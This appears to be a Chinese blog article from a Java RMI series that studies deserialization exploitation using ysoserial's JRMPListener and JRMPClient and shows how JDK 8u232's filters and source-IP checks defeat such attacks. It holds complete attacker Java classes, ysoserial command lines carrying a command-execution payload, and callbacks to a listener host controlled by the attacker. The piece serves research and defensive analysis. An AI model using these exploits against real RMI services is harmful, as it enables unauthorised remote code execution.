标题: Java RMI入门(8) 创建: 2020-04-14 16:57 更新: 2020-04-15 10:03 链接: https://scz.617.cn/network/202004141657.txt -------------------------------------------------------------------------- 目录: ☆ 前言 ☆ ysoserial.exploit.JRMPListener+ysoserial.payloads.JRMPClient 1) VulnerableClient.java 2) ysoserial.exploit.JRMPListener 2.1) 简化版调用关系(重点) 2.5) 客户端安全 3) VulnerableServer2.java 4) ysoserial.payloads.JRMPClient 4.1) 简化版调用关系 4.3) EvilClientWithRemoteObjectInvocationHandler.java 4.3.2) EvilRMIRegistryClientWithRemoteObjectInvocationHandler.java 4.3.3) 简化版调用关系 4.5) EvilRMIRegistryClientWithRMIConnectionImpl_Stub.java 5) 组合打常规RMI周知端口 5.1) sun.rmi.transport.DGCImpl_Stub.leaseFilter 5.1.1) 简化版调用关系(重点) 6) 8u232远程打1099/TCP彻底作废 6.1) 深入RegistryImpl.checkAccess() ☆ 参考资源 -------------------------------------------------------------------------- ☆ 前言 参看 《Java RMI入门》 https://scz.617.cn/network/202002221000.txt 《Java RMI入门(2)》 https://scz.617.cn/network/202003081810.txt 《Java RMI入门(3)》 https://scz.617.cn/network/202003121717.txt 《Java RMI入门(4)》 https://scz.617.cn/network/202003191728.txt 《Java RMI入门(5)》 https://scz.617.cn/network/202003241127.txt 《Java RMI入门(6)》 https://scz.617.cn/network/202004011650.txt 《Java RMI入门(7)》 https://scz.617.cn/network/202004101018.txt 《Java RMI入门(9)》 https://scz.617.cn/network/202004161823.txt ShadowGlin反馈说他调试过8u141，远程打1099/TCP就已经彻底作废。这不冲突，我 没有去回溯版本，写的是充分非必要条件，只以手头版本做测试而已。 ☆ ysoserial.exploit.JRMPListener+ysoserial.payloads.JRMPClient ysoserial.payloads.JRMPClient会产生一种序列化数据，当存在漏洞的目标反序列 化它们时，会主动连接攻击者指定的目标IP、目标端口，扮演"DGC Client"的角色。 ysoserial.exploit.JRMPListener会侦听在指定端口上，扮演恶意"DGC Server"或恶 意"RMI Registry Server"的角色。当"DGC Client"或"RMI Registry Client"来访问 它时，向客户端返回恶意Object的序列化数据，以此攻击客户端。 ysoserial.exploit.JRMPListener的地位相当于RMI周知端口，对于JNDI注入场景， 这也是一种攻击途径。 参看: 《Java RMI入门(3)》 https://scz.617.cn/network/202003121717.txt 这篇用到的EvilServer3.java其地位相当于RMI动态端口，只不过是恶意的，以此攻 击JNDI客户端。可以换用ysoserial.exploit.JRMPListener攻击JNDI客户端。 1) VulnerableClient.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g VulnerableClient.java */ import javax.naming.*; public class VulnerableClient { public static void main ( String[] argv ) throws Exception { String name = argv[0]; Context ctx = new InitialContext(); ctx.lookup( name ); } } -------------------------------------------------------------------------- 2) ysoserial.exploit.JRMPListener 参[52] https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPListener.java 假设目录结构是: . | +---test2 | ysoserial-0.0.6-SNAPSHOT-all.jar | \---test3 VulnerableClient.class commons-collections-3.1.jar 在test2目录执行: java \ -cp ysoserial-0.0.6-SNAPSHOT-all.jar \ ysoserial.exploit.JRMPListener 1414 \ CommonsCollections7 "/bin/touch /tmp/scz_is_here" 在test3目录执行: java \ -cp "commons-collections-3.1.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.rmi.registry.RegistryContextFactory \ -Djava.naming.provider.url=rmi://192.168.65.23:1414 \ VulnerableClient any 客户端虽然抛出异常，但来自恶意服务端的恶意代码已被执行。 2.1) 简化版调用关系(重点) 这是受害者一侧的简化版调用关系。JNDI不是重点，下面直接从RegistryImpl_Stub 开始。 参看: http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/registry/RegistryImpl_Stub.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/server/UnicastRef.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/StreamRemoteCall.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/TransportConstants.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/ConnectionInputStream.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/rmi/server/UID.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/LiveRef.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/rmi/server/ObjID.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/tcp/TCPChannel.java -------------------------------------------------------------------------- RegistryImpl_Stub.lookup // 8u232 UnicastRef.newCall // RegistryImpl_Stub:116 // 发送请求 StreamRemoteCall.getOutputStream // RegistryImpl_Stub:118 // 准备好ConnectionOutputStream，后面都是序列化写 out.writeObject($param_String_1) // RegistryImpl_Stub:119 // 序列化写"any" UnicastRef.invoke // RegistryImpl_Stub:123 // invoke(RemoteCall call) // 这下面都是读响应数据 StreamRemoteCall.executeCall // UnicastRef:375 op = rd.readByte() // StreamRemoteCall:240 // TCP层的裸读，读TransportConstants.Return/0x51 // 读TransportConstants.Return/0x51 StreamRemoteCall.getInputStream // StreamRemoteCall:248 // 准备好ConnectionInputStream，后面都是反序列化读 in.readByte() // StreamRemoteCall:249 // 读TransportConstants.ExceptionalReturn/2 ConnectionInputStream.readID // StreamRemoteCall:250 // in.readID() // id for DGC acknowledgement UID.read // ConnectionInputStream:60 // ackID = UID.read((DataInput) this); // 依次读0、0、0 unique = in.readInt() // UID:264 time = in.readLong() // UID:265 count = in.readShort() // UID:266 ObjectInputStream.readObject // StreamRemoteCall:270 BadAttributeValueExpException.readObject Hashtable.readObject // ysoserial/CommonsCollections7 Hashtable.reconstitutionPut AbstractMapDecorator.equals AbstractMap.equals LazyMap.get // 此处开始LazyMap利用链 ChainedTransformer.transform InvokerTransformer.transform Runtime.exec -------------------------------------------------------------------------- ysoserial.exploit.JRMPListener用BadAttributeValueExpException封装恶意 Object，实无必要，受害者一侧对此无限制，可以返回任意Object。 2.5) 客户端安全 对客户端使用: -Djava.security.manager \ -Djava.security.policy=some.policy \ some.policy需要精心定制，以确保正常功能可用，又能缓解来自恶意服务端的威胁。 即使用了.policy也不保险。 3) VulnerableServer2.java 参看: 《Java RMI入门(7)》 https://scz.617.cn/network/202004101018.txt 复用其中的VulnerableServer2.java。 4) ysoserial.payloads.JRMPClient 参[52] https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/JRMPClient.java nc -l -p 1099 | xxd -g 1 java VulnerableServer2 192.168.65.23 1414 java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "192.168.65.23:1099" | nc -n 192.168.65.23 1414 Ctrl-C中止VulnerableServer2，第一个nc处将收到: 0000000: 4a 52 4d 49 00 02 4b JRMI..K 这个测试方案不完整，主要是演示ysoserial.payloads.JRMPClient的地位。当受害 者(VulnerableServer2)进行反序列化操作时，会触发一些向指定IP、指定端口的RMI 通信。 4.1) 简化版调用关系 参看: http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/rmi/server/RemoteObject.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/server/UnicastRef.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/LiveRef.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/DGCClient.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/DGCImpl_Stub.java -------------------------------------------------------------------------- ObjectInputStream.readObject // 8u232 RemoteObject.readObject UnicastRef.readExternal // RemoteObject:455 LiveRef.read // UnicastRef:489 if (in instanceof ConnectionInputStream) // LiveRef:301 // 输入流不是ConnectionInputStream时才会去312行 DGCClient.registerRefs // LiveRef:312 DGCClient$EndpointEntry.registerRefs // DGCClient:160 DGCClient$EndpointEntry.makeDirtyCall // DGCClient:324 DGCImpl_Stub.dirty // DGCClient:382 UnicastRef.newCall // DGCImpl_Stub:102 // 发送请求 // 这次不是RegistryImpl_Stub UnicastRef.invoke // DGCImpl_Stub:113 // invoke(RemoteCall call) // 这下面都是读响应数据 // 一旦至此，就会遭受来自恶意服务端的攻击 StreamRemoteCall.executeCall // UnicastRef:375 -------------------------------------------------------------------------- 4.3) EvilClientWithRemoteObjectInvocationHandler.java 对应ysoserial.payloads.JRMPClient -------------------------------------------------------------------------- /* * javac -encoding GBK -g -XDignore.symbol.file EvilClientWithRemoteObjectInvocationHandler.java * java EvilClientWithRemoteObjectInvocationHandler 192.168.65.23 1414 192.168.65.23 1314 */ import java.io.*; import java.util.Random; import java.net.Socket; import java.lang.reflect.Proxy; import java.rmi.server.ObjID; import sun.rmi.transport.tcp.TCPEndpoint; import sun.rmi.transport.LiveRef; import sun.rmi.server.UnicastRef; import java.rmi.server.RemoteObjectInvocationHandler; import java.rmi.registry.Registry; public class EvilClientWithRemoteObjectInvocationHandler { public static Object getObject ( String addr, int port ) throws Exception { /* * UID、UnicastRef、Remote在 * sun.rmi.registry.RegistryImpl.registryFilter()的白名单里 */ int i = new Random().nextInt(); ObjID oid = new ObjID( i ); TCPEndpoint te = new TCPEndpoint( addr, port ); LiveRef lr = new LiveRef( oid, te, false ); UnicastRef ur = new UnicastRef( lr ); /* * public class RemoteObjectInvocationHandler extends RemoteObject implements InvocationHandler */ RemoteObjectInvocationHandler roih = new RemoteObjectInvocationHandler( ur ); /* * public abstract interface Registry extends Remote */ Registry registryProxy = ( Registry )Proxy.newProxyInstance ( Registry.class.getClassLoader(), new Class[] { Registry.class }, roih ); return( registryProxy ); } public static void main ( String[] argv ) throws Exception { String addr = argv[0]; int port = Integer.parseInt( argv[1] ); /* * 攻击得手后主动去访问的目标IP、目标端口 */ String newaddr = argv[2]; int newport = Integer.parseInt( argv[3] ); Object obj = getObject( newaddr, newport ); Socket s_connect = new Socket( addr, port ); ObjectOutputStream oos = new ObjectOutputStream( s_connect.getOutputStream() ); oos.writeObject( obj ); oos.close(); s_connect.close(); } } -------------------------------------------------------------------------- nc -l -p 1314 | xxd -g 1 java VulnerableServer2 192.168.65.23 1099 java EvilClientWithRemoteObjectInvocationHandler 192.168.65.23 1099 192.168.65.23 1314 Ctrl-C中止VulnerableServer2 4.3.2) EvilRMIRegistryClientWithRemoteObjectInvocationHandler.java 本例虽然用了RemoteObjectInvocationHandler，但不是当成动态代理机制中的 InvocationHandler用的，仅仅是当成Remote实例用。 -------------------------------------------------------------------------- /* * javac -encoding GBK -g -XDignore.symbol.file EvilRMIRegistryClientWithRemoteObjectInvocationHandler.java * java EvilRMIRegistryClientWithRemoteObjectInvocationHandler 192.168.65.23 1099 192.168.65.23 1314 */ import java.io.*; import java.util.Random; import java.net.Socket; import java.rmi.Remote; import java.rmi.registry.*; import java.rmi.server.ObjID; import sun.rmi.transport.tcp.TCPEndpoint; import sun.rmi.transport.LiveRef; import sun.rmi.server.UnicastRef; import java.rmi.server.RemoteObjectInvocationHandler; public class EvilRMIRegistryClientWithRemoteObjectInvocationHandler { public static Object getObject ( String addr, int port ) throws Exception { int i = new Random().nextInt(); ObjID oid = new ObjID( i ); TCPEndpoint te = new TCPEndpoint( addr, port ); LiveRef lr = new LiveRef( oid, te, false ); UnicastRef ur = new UnicastRef( lr ); RemoteObjectInvocationHandler roih = new RemoteObjectInvocationHandler( ur ); /* * 不需要引入动态代理机制 */ return( roih ); } public static void main ( String[] argv ) throws Exception { String addr = argv[0]; int port = Integer.parseInt( argv[1] ); /* * 攻击得手后主动去访问的目标IP、目标端口 */ String newaddr = argv[2]; int newport = Integer.parseInt( argv[3] ); Remote obj = ( Remote )getObject( newaddr, newport ); Registry r = LocateRegistry.getRegistry( addr, port ); /* * 这个操作对客户端来说极其危险，务必不要用本例去野战。 */ r.rebind( "any", obj ); } } -------------------------------------------------------------------------- 参看: 《Java RMI入门(6)》 https://scz.617.cn/network/202004011650.txt 复用其中的RMIRegistryServer.java。 nc -l -p 1314 | xxd -g 1 java \ -cp "commons-collections-3.1.jar:." \ RMIRegistryServer 1099 java EvilRMIRegistryClientWithRemoteObjectInvocationHandler 192.168.65.23 1099 192.168.65.23 1314 Ctrl-C中止RMIRegistryServer 4.3.3) 简化版调用关系 -------------------------------------------------------------------------- TCPTransport.handleMessages // 8u232 Transport.serviceCall // TCPTransport:573 UnicastServerRef.dispatch // Transport:200 UnicastServerRef.oldDispatch // UnicastServerRef:301 RegistryImpl_Skel.dispatch // UnicastServerRef:469 RegistryImpl.checkAccess // RegistryImpl_Skel:142 // 前置检查rebind()源IP，不允许远程绑定，这才是大盾 ObjectInputStream.readObject // RegistryImpl_Skel:148 // 读"any"，用YouDebug可以搞 ObjectInputStream.readObject // RegistryImpl_Skel:149 // 读Remote实例 // 这个操作不能直接触发恶意行为 RemoteObject.readObject // RemoteObjectInvocationHandler是RemoteObject的子类 UnicastRef.readExternal // RemoteObject:455 LiveRef.read // UnicastRef:489 if (in instanceof ConnectionInputStream) // LiveRef:301 // 输入流是ConnectionInputStream，不会去"LiveRef:312" ConnectionInputStream.saveRef // LiveRef:305 // 恶意服务端地址在此被保存，后面会用到 // 这导致VulnerableServer2中的流程与真实1099/TCP的流程不同 StreamRemoteCall.releaseInputStream // RegistryImpl_Skel:154 // 这个操作触发恶意行为 ConnectionInputStream.registerRefs // StreamRemoteCall:175 DGCClient.registerRefs // ConnectionInputStream:102 DGCClient$EndpointEntry.registerRefs // DGCClient:160 DGCClient$EndpointEntry.makeDirtyCall // DGCClient:324 DGCImpl_Stub.dirty // DGCClient:382 UnicastRef.newCall // DGCImpl_Stub:102 // 发送请求 UnicastRef.invoke // DGCImpl_Stub:113 // invoke(RemoteCall call) // 这下面都是读响应数据 -------------------------------------------------------------------------- 4.5) EvilRMIRegistryClientWithRMIConnectionImpl_Stub.java 参[65]，作者找到: javax.management.remote.rmi.RMIConnectionImpl_Stub -------------------------------------------------------------------------- /* * javac -encoding GBK -g -XDignore.symbol.file EvilRMIRegistryClientWithRMIConnectionImpl_Stub.java * java EvilRMIRegistryClientWithRMIConnectionImpl_Stub 192.168.65.23 1099 192.168.65.23 1314 */ import java.io.*; import java.util.Random; import java.net.Socket; import java.rmi.Remote; import javax.management.remote.rmi.RMIConnectionImpl_Stub; import java.rmi.registry.*; import java.rmi.server.ObjID; import sun.rmi.transport.tcp.TCPEndpoint; import sun.rmi.transport.LiveRef; import sun.rmi.server.UnicastRef; public class EvilRMIRegistryClientWithRMIConnectionImpl_Stub { public static Object getObject ( String addr, int port ) throws Exception { int i = new Random().nextInt(); ObjID oid = new ObjID( i ); TCPEndpoint te = new TCPEndpoint( addr, port ); LiveRef lr = new LiveRef( oid, te, false ); UnicastRef ur = new UnicastRef( lr ); RMIConnectionImpl_Stub remote = new RMIConnectionImpl_Stub( ur ); return( remote ); } public static void main ( String[] argv ) throws Exception { String addr = argv[0]; int port = Integer.parseInt( argv[1] ); /* * 攻击得手后主动去访问的目标IP、目标端口 */ String newaddr = argv[2]; int newport = Integer.parseInt( argv[3] ); Remote obj = ( Remote )getObject( newaddr, newport ); Registry r = LocateRegistry.getRegistry( addr, port ); /* * 这个操作对客户端来说极其危险，务必不要用本例去野战。 */ r.rebind( "any", obj ); } } -------------------------------------------------------------------------- [65]的作者还提到java.rmi.server.RemoteObject.ref是transient的，他认为无法 有效利用该成员变量。看了一下，应该有其他办法对之有效利用，但由于8u232的前 置源IP检查堵死了远程绑定，不想浪费时间写PoC，备忘。 [66]的作者又找到: sun.rmi.transport.DGCImpl_Stub javax.management.remote.rmi.RMIServerImpl_Stub sun.rmi.registry.RegistryImpl_Stub com.sun.jndi.rmi.registry.ReferenceWrapper_Stub 5) 组合打常规RMI周知端口 假设目录结构是: . | +---test1 | RMIRegistryServer.class | +---test2 | ysoserial-0.0.6-SNAPSHOT-all.jar | \---test3 EvilRMIRegistryClientWithRemoteObjectInvocationHandler.class EvilRMIRegistryClientWithRMIConnectionImpl_Stub.class ysoserial-0.0.6-SNAPSHOT-all.jar 在test1目录执行: java_8_40 \ -cp "commons-collections-3.1.jar:." \ RMIRegistryServer 1099 在test2目录执行: java \ -cp ysoserial-0.0.6-SNAPSHOT-all.jar \ ysoserial.exploit.JRMPListener 1314 \ CommonsCollections7 "/bin/touch /tmp/scz_is_here_from_server_3" 在test3目录执行(任选其一): java \ EvilRMIRegistryClientWithRemoteObjectInvocationHandler 192.168.65.23 1099 \ 192.168.65.23 1314 java \ EvilRMIRegistryClientWithRMIConnectionImpl_Stub 192.168.65.23 1099 \ 192.168.65.23 1314 java \ -cp ysoserial-0.0.6-SNAPSHOT-all.jar \ ysoserial.exploit.RMIRegistryExploit 192.168.65.23 1099 JRMPClient \ "192.168.65.23:1314" 5.1) sun.rmi.transport.DGCImpl_Stub.leaseFilter 为什么EvilRMIRegistryClientWithRemoteObjectInvocationHandler打8u232失败？ 5.1.1) 简化版调用关系(重点) 参看: http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/java/io/ObjectInputStream.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/DGCImpl_Stub.java -------------------------------------------------------------------------- TCPTransport.handleMessages // 8u232 Transport.serviceCall // TCPTransport:573 UnicastServerRef.dispatch // Transport:200 UnicastServerRef.oldDispatch // UnicastServerRef:301 RegistryImpl_Skel.dispatch // UnicastServerRef:469 RegistryImpl.checkAccess // RegistryImpl_Skel:142 // 前置检查rebind()源IP，不允许远程绑定，这才是大盾 RemoteServer.getClientHost // RegistryImpl:307 TCPTransport.getClientHost // RemoteServer:77 TCPTransport$ConnectionHandler.getClientHost // TCPTransport:616 return remoteHost; // TCPTransport:648 // 返回TCP层的源IP ObjectInputStream.readObject // RegistryImpl_Skel:148 // 读"any"，用YouDebug可以搞 ObjectInputStream.readObject // RegistryImpl_Skel:149 // 读Remote实例 // 这个操作不能直接触发恶意行为 RemoteObject.readObject // RemoteObjectInvocationHandler是RemoteObject的子类 UnicastRef.readExternal // RemoteObject:455 LiveRef.read // UnicastRef:489 if (in instanceof ConnectionInputStream) // LiveRef:301 // 输入流是ConnectionInputStream，不会去"LiveRef:312" ConnectionInputStream.saveRef // LiveRef:305 // 恶意服务端地址在此被保存，后面会用到 // 这导致VulnerableServer2中的流程与真实1099/TCP的流程不同 StreamRemoteCall.releaseInputStream // RegistryImpl_Skel:154 // 这个操作触发恶意行为 ConnectionInputStream.registerRefs // StreamRemoteCall:175 DGCClient.registerRefs // ConnectionInputStream:102 DGCClient$EndpointEntry.registerRefs // DGCClient:160 DGCClient$EndpointEntry.makeDirtyCall // DGCClient:324 DGCImpl_Stub.dirty // DGCClient:382 UnicastRef.newCall // DGCImpl_Stub:102 // 发送请求 UnicastRef.invoke // DGCImpl_Stub:113 // invoke(RemoteCall call) // 这下面都是读响应数据 StreamRemoteCall.executeCall // UnicastRef:375 ObjectInputStream.readObject // StreamRemoteCall:270 ObjectInputStream.readObject0 // ObjectInputStream:430 ObjectInputStream.readOrdinaryObject // ObjectInputStream:1572 ObjectInputStream.readClassDesc // ObjectInputStream:2041 ObjectInputStream.readNonProxyDesc // ObjectInputStream:1750 ObjectInputStream.filterCheck // ObjectInputStream:1877 DGCImpl_Stub.leaseFilter // DGCImpl_Stub:172 // 恶意Object无法通过白名单检查，返回REJECTED -------------------------------------------------------------------------- 6) 8u232远程打1099/TCP彻底作废 sun.rmi.registry.RegistryImpl.registryFilter()中有张白名单: http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/registry/RegistryImpl.java -------------------------------------------------------------------------- /* * 427行，白名单检查 */ if (String.class == clazz || java.lang.Number.class.isAssignableFrom(clazz) || Remote.class.isAssignableFrom(clazz) || java.lang.reflect.Proxy.class.isAssignableFrom(clazz) || UnicastRef.class.isAssignableFrom(clazz) || RMIClientSocketFactory.class.isAssignableFrom(clazz) || RMIServerSocketFactory.class.isAssignableFrom(clazz) || java.rmi.activation.ActivationID.class.isAssignableFrom(clazz) || java.rmi.server.UID.class.isAssignableFrom(clazz)) { return ObjectInputFilter.Status.ALLOWED; } else { return ObjectInputFilter.Status.REJECTED; } -------------------------------------------------------------------------- ysoserial.payloads.JRMPClient可以绕过此处的白名单检查。但这个绕过对8u232而 言是黄梁一梦，因为RegistryImpl_Skel.dispatch()在反序列化恶意数据之前会调用 RegistryImpl.checkAccess()前置检查rebind()等操作的源IP，不允许远程绑定，这 才是顶级大盾，甩过滤器十八条长安街。 假设RMI服务端、客户端在同一主机，或者有什么代理转发机制解决源IP检查，此时 可以利用Remote、UnicastRef绕过前述427行白名单检查。受害者变身"DGC Client" 去访问恶意"DGC Server"，后者向前者返回恶意Object，前者在反序列化恶意Object 时要面临sun.rmi.transport.DGCImpl_Stub.leaseFilter()中的白名单检查: http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/DGCImpl_Stub.java -------------------------------------------------------------------------- /* * 172行，java.util.Hashtable无法通过这个白名单检查，返回REJECTED */ return (clazz == UID.class || clazz == VMID.class || clazz == Lease.class || (Throwable.class.isAssignableFrom(clazz) && clazz.getClassLoader() == Object.class.getClassLoader()) || clazz == StackTraceElement.class || clazz == ArrayList.class || // for suppressed exceptions, if any clazz == Object.class || clazz.getName().equals("java.util.Collections$UnmodifiableList") || clazz.getName().equals("java.util.Collections$UnmodifiableCollection") || clazz.getName().equals("java.util.Collections$UnmodifiableRandomAccessList")) ? ObjectInputFilter.Status.ALLOWED : ObjectInputFilter.Status.REJECTED; -------------------------------------------------------------------------- 目前已知payload均无法绕过前述172行白名单检查。 假设用ysoserial.exploit.JRMPClient打1099/TCP，因为是DGC操作，此时服务端不 涉及RegistryImpl.checkAccess()。但是，服务端在反序列化恶意Object时要面临 sun.rmi.transport.DGCImpl.checkInput()中的白名单检查: http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/DGCImpl.java -------------------------------------------------------------------------- /* * 409行，java.util.Hashtable无法通过这个白名单检查，返回REJECTED */ return (clazz == ObjID.class || clazz == UID.class || clazz == VMID.class || clazz == Lease.class) ? ObjectInputFilter.Status.ALLOWED : ObjectInputFilter.Status.REJECTED; -------------------------------------------------------------------------- 这张白名单更狠，恶意Object完全无法绕过其检查。 结论就是，8u232远程打1099/TCP彻底作废，陪低版本Java玩玩还可以。 6.1) 深入RegistryImpl.checkAccess() RegistryImpl.checkAccess()所检查的源IP来自TCP层套接字操作，不是RMI通信报文 中的字段，无法伪造。 简化版调用关系: -------------------------------------------------------------------------- TCPTransport$AcceptLoop.run // 8u232 TCPTransport$AcceptLoop.executeAcceptLoop // TCPTransport:377 socket = serverSocket.accept() // TCPTransport:405 // 等待入连接 clientAddr = socket.getInetAddress() // TCPTransport:410 // 取TCP连接的源IP TCPTransport$ConnectionHandler. // TCPTransport:420 this.remoteHost = remoteHost; // TCPTransport:642 // 保存源IP，将来RegistryImpl.checkAccess()检查它 -------------------------------------------------------------------------- http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/registry/RegistryImpl.java -------------------------------------------------------------------------- /* * sun.rmi.registry.RegistryImpl.checkAccess */ /** * Check that the caller has access to perform indicated operation. * The client must be on same the same host as this server. */ public static void checkAccess(String op) throws AccessException { try { /* * 307行，返回源IP */ /* * Get client host that this registry operation was made from. */ final String clientHostName = getClientHost(); InetAddress clientHost; ... // if client not yet seen, make sure client allowed access if (allowedAccessCache.get(clientHost) == null) { if (clientHost.isAnyLocalAddress()) { throw new AccessException( op + " disallowed; origin unknown"); } try { final InetAddress finalClientHost = clientHost; java.security.AccessController.doPrivileged( new java.security.PrivilegedExceptionAction() { public Void run() throws java.io.IOException { /* * 341行，通过TCP层的bind()操作检查源IP是否是本机IP之一，无法绕过 */ /* * if a ServerSocket can be bound to the client's * address then that address must be local */ (new ServerSocket(0, 10, finalClientHost)).close(); allowedAccessCache.put(finalClientHost, finalClientHost); return null; } }); } catch (PrivilegedActionException pae) { ... } -------------------------------------------------------------------------- http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/transport/tcp/TCPTransport.java -------------------------------------------------------------------------- /* * sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop */ /** * Accepts connections from the server socket and executes * handlers for them in the thread pool. **/ private void executeAcceptLoop() { if (tcpLog.isLoggable(Log.BRIEF)) { tcpLog.log(Log.BRIEF, "listening on port " + getEndpoint().getPort()); } while (true) { Socket socket = null; try { /* * 405行 */ socket = serverSocket.accept(); /* * 410行，clientAddr来自TCP层套接字操作，不是RMI通信报文中的字段 */ /* * Find client host name (or "0.0.0.0" if unknown) */ InetAddress clientAddr = socket.getInetAddress(); /* * 411行，获取clientHost */ String clientHost = (clientAddr != null ? clientAddr.getHostAddress() : "0.0.0.0"); /* * Execute connection handler in the thread pool, * which uses non-system threads. */ try { connectionThreadPool.execute( /* * 420行，保存clientHost */ new ConnectionHandler(socket, clientHost)); } catch (RejectedExecutionException e) { ... } -------------------------------------------------------------------------- /* * sun.rmi.transport.tcp.TCPTransport$ConnectionHandler. * * 642行 */ ConnectionHandler(Socket socket, String remoteHost) { this.socket = socket; /* * 保存clientHost */ this.remoteHost = remoteHost; } -------------------------------------------------------------------------- /* * sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.getClientHost * * 648行 */ String getClientHost() { /* * 获取clientHost */ return remoteHost; } -------------------------------------------------------------------------- ☆ 参考资源 [52] ysoserial https://github.com/frohoff/ysoserial/ https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar (A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization) (可以自己编译，不需要下这个jar包) git clone https://github.com/frohoff/ysoserial.git [65] 一次攻击内网rmi服务的深思 - bsmali4 [2018-09-20] http://www.codersec.net/2018/09/%E4%B8%80%E6%AC%A1%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91rmi%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B7%B1%E6%80%9D/ [66] 浅谈Java RMI Registry反序列化安全问题 - [2020-02-06] http://blog.0kami.cn/2020/02/06/rmi-registry-security-problem/